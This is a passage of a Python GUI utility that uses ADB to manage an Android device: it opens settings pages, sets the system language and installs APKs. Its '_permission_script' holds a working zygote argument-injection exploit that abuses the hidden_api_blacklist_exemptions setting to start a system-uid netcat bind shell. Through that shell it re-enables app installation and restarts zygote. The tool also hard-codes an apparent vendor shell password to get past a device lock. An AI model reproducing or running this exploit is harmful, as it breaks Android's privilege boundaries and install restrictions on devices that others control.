code, stdout, stderr = self.run_adb_command(command, timeout=20)
if self._am_start_succeeded(code, stdout, stderr):
label = self.t(label_key)
self.run_on_ui_thread(self.set_status, self.tf("status_opened", label=label))
if label_key == "timezone_label" and index == len(commands) - 1:
self.run_on_ui_thread(self.log, self.t("timezone_fallback_log"), "WARNING")
else:
self.run_on_ui_thread(self.log, self.tf("log_opened", label=label), "SUCCESS")
return
label = self.t(label_key)
self.run_on_ui_thread(self.set_status, self.tf("open_failed", label=label))
self.run_on_ui_thread(self.log, self.tf("open_failed", label=label), "ERROR")
except Exception:
label = self.t(label_key)
self.run_on_ui_thread(self.set_status, self.tf("open_failed", label=label))
self.run_on_ui_thread(self.log, self.tf("open_failed", label=label), "ERROR")
def _am_start_succeeded(self, code, stdout, stderr):
output = f"{stdout}\n{stderr}".lower()
failed_markers = [
"error:",
"exception",
"unable to resolve",
"not found",
"does not exist",
"permission denied",
"failed",
"please enter password",
]
return code == 0 and not any(marker in output for marker in failed_markers)
def _set_language_from_popup(self, locale_code, language_name, popup):
try:
popup.destroy()
except Exception:
pass
self.set_busy(True)
self.set_progress(0, self.tf("progress_setting_language", language=language_name))
self.set_status(self.t("status_setting_language"))
self.log(self.tf("log_setting_language", language=language_name))
self.run_worker(lambda: self._set_language_worker(locale_code, language_name))
def _set_language_worker(self, locale_code, language_name):
try:
code, _, _ = self.run_adb_command(
["shell", "settings", "put", "system", "system_locales", locale_code],
timeout=20,
)
if code == 0:
self.run_on_ui_thread(self.set_progress, 100, self.t("language_done"))
self.run_on_ui_thread(self.set_status, self.t("language_done"))
self.run_on_ui_thread(self.log, self.tf("language_success_log", language=language_name), "SUCCESS")
self.run_on_ui_thread(
messagebox.showinfo,
self.t("language_success_title"),
self.tf("language_success_msg", language=language_name),
)
else:
self.run_on_ui_thread(self.set_progress, 0, self.t("language_failed"))
self.run_on_ui_thread(self.set_status, self.t("language_failed"))
self.run_on_ui_thread(self.log, self.t("language_failed_msg"), "ERROR")
self.run_on_ui_thread(messagebox.showerror, self.t("language_failed"), self.t("language_failed_msg"))
except Exception:
self.run_on_ui_thread(self.set_progress, 0, self.t("language_failed"))
self.run_on_ui_thread(self.set_status, self.t("language_failed"))
self.run_on_ui_thread(self.log, self.t("language_failed_msg"), "ERROR")
self.run_on_ui_thread(messagebox.showerror, self.t("language_failed"), self.t("language_failed_msg"))
self.run_on_ui_thread(self.set_busy, False)
def _startupinfo(self):
if sys.platform != "win32":
return None
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
return startupinfo
def _decode_output(self, data):
if not data:
return ""
for encoding in ("utf-8", "gbk", "latin-1"):
try:
return data.decode(encoding, errors="replace")
except Exception:
continue
return data.decode(errors="replace")
def _run_process(self, args, timeout=30, input_text=None):
kwargs = {
"stdout": subprocess.PIPE,
"stderr": subprocess.PIPE,
"startupinfo": self._startupinfo(),
}
if sys.platform == "win32":
kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
if input_text is not None:
kwargs["input"] = input_text.encode("utf-8")
completed = subprocess.run(args, timeout=timeout, **kwargs)
stdout = self._decode_output(completed.stdout)
stderr = self._decode_output(completed.stderr)
return completed.returncode, stdout, stderr
def run_adb_command(self, adb_args, timeout=30, input_text=None):
command_args = list(adb_args)
result = self._run_process([self.adb, "-d"] + command_args, timeout=timeout, input_text=input_text)
if self._adb_needs_shell_password(command_args, result):
self._run_process(
[self.adb, "-d", "shell", "password", "*2@#Shell"],
timeout=10,
)
result = self._run_process(
[self.adb, "-d"] + command_args,
timeout=timeout,
input_text=input_text,
)
return result
def _adb_needs_shell_password(self, adb_args, result):
if not adb_args or adb_args[0] != "shell":
return False
if len(adb_args) >= 2 and adb_args[1] == "password":
return False
_, stdout, stderr = result
output = f"{stdout}\n{stderr}".lower()
return "please enter password" in output and "adb shell password" in output
def run_adb_host_command(self, adb_args, timeout=10):
return self._run_process([self.adb] + list(adb_args), timeout=timeout)
def start_device_monitor(self):
if self._device_monitor_running:
return
self._device_monitor_running = True
self._schedule_device_check(0)
def _schedule_device_check(self, delay_ms=3000):
self.root.after(delay_ms, self._check_device_status_async)
def _check_device_status_async(self):
self.run_worker(self._check_device_status_worker)
def _check_device_status_worker(self):
connected = False
try:
code, stdout, _ = self.run_adb_host_command(["devices"], timeout=8)
connected = code == 0 and self._has_connected_device(stdout)
except Exception:
connected = False
self.run_on_ui_thread(self._update_device_status, connected)
self.run_on_ui_thread(self._schedule_device_check, 3000)
def _has_connected_device(self, adb_devices_output):
for line in adb_devices_output.splitlines():
stripped = line.strip()
if not stripped or stripped.startswith("List of devices"):
continue
parts = stripped.split()
if len(parts) >= 2 and parts[1] == "device":
return True
return False
def is_usb_device_connected(self):
code, stdout, _ = self.run_adb_host_command(["devices"], timeout=8)
return code == 0 and self._has_connected_device(stdout)
def _update_device_status(self, connected):
self.device_connected = connected
if connected:
text = self.t("device_connected")
color = self.colors["success"]
else:
text = self.t("device_disconnected")
color = self.colors["danger"]
self.device_status_var.set(text)
self.device_status_label.config(fg=color)
self.device_status_dot.itemconfig(self.device_status_oval, fill=color)
def _permission_script(self):
payload = """LClass1;->method1(
10
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=2049
--mount-external-full
--setgroups=3003
--nice-name=runnetcat
--seinfo=platform:targetSdkVersion=30:complete
--invoke-with
toybox nc -s 127.0.0.1 -p 4321 -L /system/bin/sh -l;
"""
return f"""settings put global hidden_api_blacklist_exemptions "{payload}"
settings delete global hidden_api_blacklist_exemptions
sleep 2
settings get global hidden_api_blacklist_exemptions
toybox nc localhost 4321 <<'NC_CMDS'
setprop sys.config.app_install_disabled false
getprop sys.config.app_install_disabled
settings delete global hidden_api_blacklist_exemptions
settings get global hidden_api_blacklist_exemptions
setprop ctl.restart zygote
exit
NC_CMDS
"""
def _get_install_permission_worker(self):
success = False
try:
self.run_on_ui_thread(self.set_progress, 20, self.t("progress_detect_device"))
if not self.is_usb_device_connected():
raise RuntimeError("device not connected")
self.run_on_ui_thread(self._update_device_status, True)
self.run_on_ui_thread(self.set_progress, 30, self.t("progress_enter_device"))
self.run_adb_command(
["shell", "password", "*2@#Shell"],
timeout=10,
)
self.run_on_ui_thread(self.set_progress, 45, self.t("progress_config_env"))
try:
self.run_adb_command(
["shell"],
timeout=45,
input_text=self._permission_script(),
)
except subprocess.TimeoutExpired:
pass
self.run_on_ui_thread(self.set_progress, 80, self.t("progress_confirm_permission"))
for _ in range(8):
time.sleep(1)
if self._is_install_permission_ready():
success = True
break
except Exception:
success = False
self.install_permission_ready = success
if success:
self.run_on_ui_thread(self.set_progress, 100, self.t("permission_ready"))
self.run_on_ui_thread(self.set_status, self.t("permission_ready"))
self.run_on_ui_thread(self.log, self.t("permission_success_log"), "SUCCESS")
self.run_on_ui_thread(messagebox.showinfo, self.t("success_title"), self.t("permission_success_log"))
else:
self.run_on_ui_thread(self.set_progress, 0, self.t("permission_failed"))
self.run_on_ui_thread(self.set_status, self.t("permission_failed"))
self.run_on_ui_thread(self.log, self.t("permission_failed_log"), "ERROR")
self.run_on_ui_thread(messagebox.showerror, self.t("permission_failed"), self.t("permission_failed_log"))
self.run_on_ui_thread(self.set_busy, False)
def _is_install_permission_ready(self):
prop_code, prop_out, _ = self.run_adb_command(
["shell", "getprop", "sys.config.app_install_disabled"],
timeout=15,
)
setting_code, setting_out, _ = self.run_adb_command(
["shell", "settings", "get", "global", "hidden_api_blacklist_exemptions"],
timeout=15,
)
prop_value = prop_out.strip().lower()
setting_value = setting_out.strip().lower()
return prop_code == 0 and setting_code == 0 and prop_value == "false" and setting_value == "null"
def _check_permission_before_file_select(self):
try:
ready = self._is_install_permission_ready()
except Exception:
ready = False
if not ready:
self.install_permission_ready = False
self.run_on_ui_thread(self.set_progress, 0, "")
self.run_on_ui_thread(self.set_status, self.t("need_permission_status"))
self.run_on_ui_thread(self.log, self.t("need_permission_log"), "WARNING")
self.run_on_ui_thread(messagebox.showwarning, self.t("warn_title"), self.t("need_permission_msg"))
self.run_on_ui_thread(self.set_busy, False)
return
self.install_permission_ready = True
self.run_on_ui_thread(self._select_apk_files)
def _select_apk_files(self):
files = filedialog.askopenfilenames(
title=self.t("file_select_apk_title"),
filetypes=[(self.t("filetype_apk"), "*.apk"), (self.t("filetype_all"), "*.*")],
)
if not files:
self.set_progress(0, "")
self.set_status(self.t("install_cancelled_status"))
self.log(self.t("install_cancelled_log"), "WARNING")
self.set_busy(False)
return
self.set_progress(0, self.tf("install_prepare", count=len(files)))
self.set_status(self.t("status_installing_app"))
self.log(self.tf("log_install_start", count=len(files)))
self.run_worker(lambda: self._install_apk_files(list(files)))
def _install_apk_files(self, files):
total = len(files)
success_count = 0
failed_count = 0
for index, file_path in enumerate(files, start=1):
apk_name = Path(file_path).name
percent = int(((index - 1) / total) * 100)
self.run_on_ui_thread(
self.set_progress,
percent,
self.tf("installing_item", name=apk_name, index=index, total=total),
)
self.run_on_ui_thread(self.set_status, self.tf("installing_status", name=apk_name))
try:
code, _, _ = self.run_adb_command(
["install", "-r", "-d", file_path],
timeout=180,
)
if code == 0:
success_count += 1
self.run_on_ui_thread(self.log, self.tf("apk_install_success", name=apk_name), "SUCCESS")
else:
failed_count += 1
self.run_on_ui_thread(self.log, self.tf("apk_install_failed", name=apk_name), "ERROR")
except Exception:
failed_count += 1
self.run_on_ui_thread(self.log, self.tf("apk_install_failed", name=apk_name), "ERROR")
if failed_count == 0:
self.run_on_ui_thread(self.set_progress, 100, self.t("install_done"))
self.run_on_ui_thread(self.set_status, self.t("install_done"))
self.run_on_ui_thread(self.log, self.tf("install_done_log", count=success_count), "SUCCESS")
self.run_on_ui_thread(
messagebox.showinfo,
self.t("install_done"),
self.tf("install_done_msg", count=success_count),
)
elif success_count > 0:
self.run_on_ui_thread(self.set_progress, 100, self.t("install_partial"))
self.run_on_ui_thread(self.set_status, self.t("install_partial"))
self.run_on_ui_thread(
self.log,
self.tf("install_partial_log", success=success_count, failed=failed_count),
"WARNING",
)
self.run_on_ui_thread(
messagebox.showwarning,
self.t("install_partial_title"),
self.tf("install_partial_msg", success=success_count, failed=failed_count),
)
else:
self.run_on_ui_thread(self.set_progress, 0, self.t("install_failed"))
self.run_on_ui_thread(self.set_status, self.t("install_failed"))
self.run_on_ui_thread(self.log, self.t("install_failed_log"), "ERROR")
self.run_on_ui_thread(messagebox.showerror, self.t("install_failed"), self.t("install_failed_msg"))
self.run_on_ui_thread(self.set_busy, False)
def center_window(self):
self.root.update_idletasks()
width = self.root.winfo_width()
height = self.root.winfo_height()
screen_width = self.root.winfo_screenwidth()
screen_height = self.root.winfo_screenheight()
x = (screen_width - width) // 2
y = (screen_height - height) // 2
self.root.geometry(f"{width}x{height}+{x}+{y}")
def run(self):
self.root.mainloop()
def main():
app = ADKAPKGUI()
app.run()
if __name__ == "__main__":
main()